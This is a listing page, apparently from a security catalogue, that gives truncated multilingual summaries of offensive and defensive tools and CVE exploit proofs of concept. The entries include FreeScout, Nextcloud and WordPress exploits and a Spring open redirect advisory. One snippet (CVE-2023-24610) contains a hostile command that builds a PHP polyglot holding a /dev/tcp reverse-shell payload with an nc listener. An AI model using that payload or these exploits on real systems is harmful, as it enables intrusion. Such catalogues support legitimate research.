psc

PortShellCrypter -- PSC This project - as well as its sister project crash - belongs to my anti-censorship tool-set that allows to setup fully working encrypted shells and TCP/UDP forwarding in hostile censoring environments. It is also useful for forensics to dump data from devices via UART or...

psc

PortShellCrypter -- PSC Questo progetto - così come il suo progetto gemello crash - fa parte della mia suite di strumenti anti-censura che permette di configurare shell crittografate funzionanti e inoltri TCP/UDP in ambienti ostili alla censura. È utile anche per la computer forensics per estrarr...

Syborg

Syborg Syborg è un enumeratore ricorsivo di domini DNS che non è né attivo né completamente passivo. Questo strumento costruisce semplicemente un nome di dominio e lo interroga con un server DNS specificato. Syborg ha un sistema di evitamento dei vicoli ciechi ispirato a @Tomnomnom's ettu. Quando...

CVE-2023-52268

FreeScout End-User Portal Exploit di Bypass dell'Autenticazione CVE-2023-52268 Panoramica Questo exploit prende di mira una vulnerabilità nel modulo End-User Portal di FreeScout versioni precedenti alla 1.0.65 che consente a un attaccante di bypassare l'autenticazione tramite una gestione impropr...

ziti

OpenZiti OpenZiti è una piattaforma di networking zero‑trust open‑source che rende i servizi di rete invisibili agli utenti non autorizzati. Ogni connessione, provenga da un utente, un servizio, un dispositivo o un carico di lavoro, viene autenticata con un'identità crittografica, autorizzata...

aws__aws-sdk-java_CVE-2022-31159_1-12-2600

AWS SDK for Java L'AWS SDK for Java consente agli sviluppatori Java di lavorare facilmente con Amazon Web Services e di creare soluzioni scalabili con Amazon S3, Amazon DynamoDB, Amazon Glacier e altri servizi. Consulta l'AWS SDK for Java 2.x per iniziare. In modalità di manutenzione a partire da...

seal-security-nuget-demo-net7

Demo Browser + CLI NuGet/C — Edizione .NET 7 Perché un fork .NET 7? Questo è un fork reindirizzato del fork canonico seal-security-nuget-demo che ha come target net9.0. La storia dello sfruttamento, i controller e l'elenco dei pacchetti sigillati sono identici — cambia solo ilTargetFramework...

DbgShell

DbgShell Un front-end PowerShell per il motore di debug di Windows. Pronto per tabulare verso la gloria? Per un'introduzione più rapida, dai un'occhiata a Primi passi. Avvertenze 1. Questo progetto non è prodotto, approvato o monitorato dal team di debug di Windows. Mentre il team di debug accogl...

android

cSploit è ora considerato EOL e non viene aggiornato dagli sviluppatori. La versione corrente potrebbe non funzionare sulle versioni più recenti di Android. Ringraziamo tutti coloro che hanno contribuito a cSploit nel corso degli anni. cSploit: suite di penetration testing per Android cSploit è u...

PatrowlManager

Codacy Abzeichen PatrOwl PatrOwl ist eine skalierbare, kostenlose und quelloffene Lösung zur Orchestrierung von Security Operations. PatrowlManager ist die Frontend-Anwendung zur Verwaltung der Assets, Echtzeit-Risikoanalyse, Orchestrierung der Operationen Scans, Suchen, API-Aufrufe, ...,...

CVE-2024-52510

POC di bypass di X-E2EE-SIGNATURE di Nextcloud Riepilogo Durante il normale funzionamento del protocollo E2EEv2 di Nextcloud, i client firmano crittograficamente i metadati delle cartelle prima di caricarli sul server. Questo garantisce che i metadati non siano stati manomessi quando vengono...

CVE-2025-2005

Exploit di Caricamento File Arbitrario per WordPress FEUP CVE-2025-2005 Questo repository fornisce un exploit Proof of Concept PoC per il plugin WordPress Front End Users versioni fino alla 3.2.32, che è vulnerabile al caricamento file arbitrario a causa della mancata validazione MIME/tipo di fil...

EUVD-2026-67134

Improper neutralization of input during web page generation 'cross-site scripting' vulnerability in Seres Software syWEB allows Reflected XSS. This issue affects syWEB: through 27082026. NOTE: The vendor was contacted and it was learned that the product is not supported...

CVE-2023-24610

CVE-2023-24610 Questa è una prova di concetto per CVE-2023-24610 Iniziamo creando un file poliglotta usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamo il file in png in modo che superi il controllo del front-end Dopo di che, avviamo un listener nc...

CVE-2026-47887

A Spring MVC application that uses UrlFileNameViewController that is mapped with an end-of-path, and does not have a configured prefix is vulnerable to an open redirect. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30...

Tivoli-Madness

Tivoli-Madness Avviso per: CVE-2020-28054: Una vulnerabilità di bypass dell'autorizzazione che interessa JamoDat – TSMManager Collector v. = 6.5.0.21 Un buffer overflow basato sullo stack che interessa IBM Tivoli Storage Manager Interfaccia amministrativa da riga di comando Versione 5, Release 2,...

EUVD-2026-66855

A Spring MVC application that uses UrlFileNameViewController that is mapped with an end-of-path, and does not have a configured prefix is vulnerable to an open redirect. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30...

CVE-2026-47887 Spring Framework Open Redirect in UrlFileNameViewController

A Spring MVC application that uses UrlFileNameViewController that is mapped with an end-of-path, and does not have a configured prefix is vulnerable to an open redirect. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30...

CVE-2026-47887

CVE-2026-47887 is an open redirect in Spring Framework's UrlFileNameViewController when it is mapped with an end-of-path and no configured prefix is set. The vulnerability affects Spring Framework 7.0.0–7.0.8 , 6.2.0–6.2.19 , 6.1.0–6.1.28 , 6.0.0–6.0.30 , 5.3.0–5.3.49 , and 5.2.25.RELEASE and ear...

Rocket.Chat

La soluzione open source sicura definitiva per le comunicazioni di squadra Rocket.Chat è una piattaforma di comunicazione open source, sicura e completamente personalizzabile, sviluppata in TypeScript per organizzazioni con elevati standard di protezione dei dati. Siamo la soluzione definitiva pe...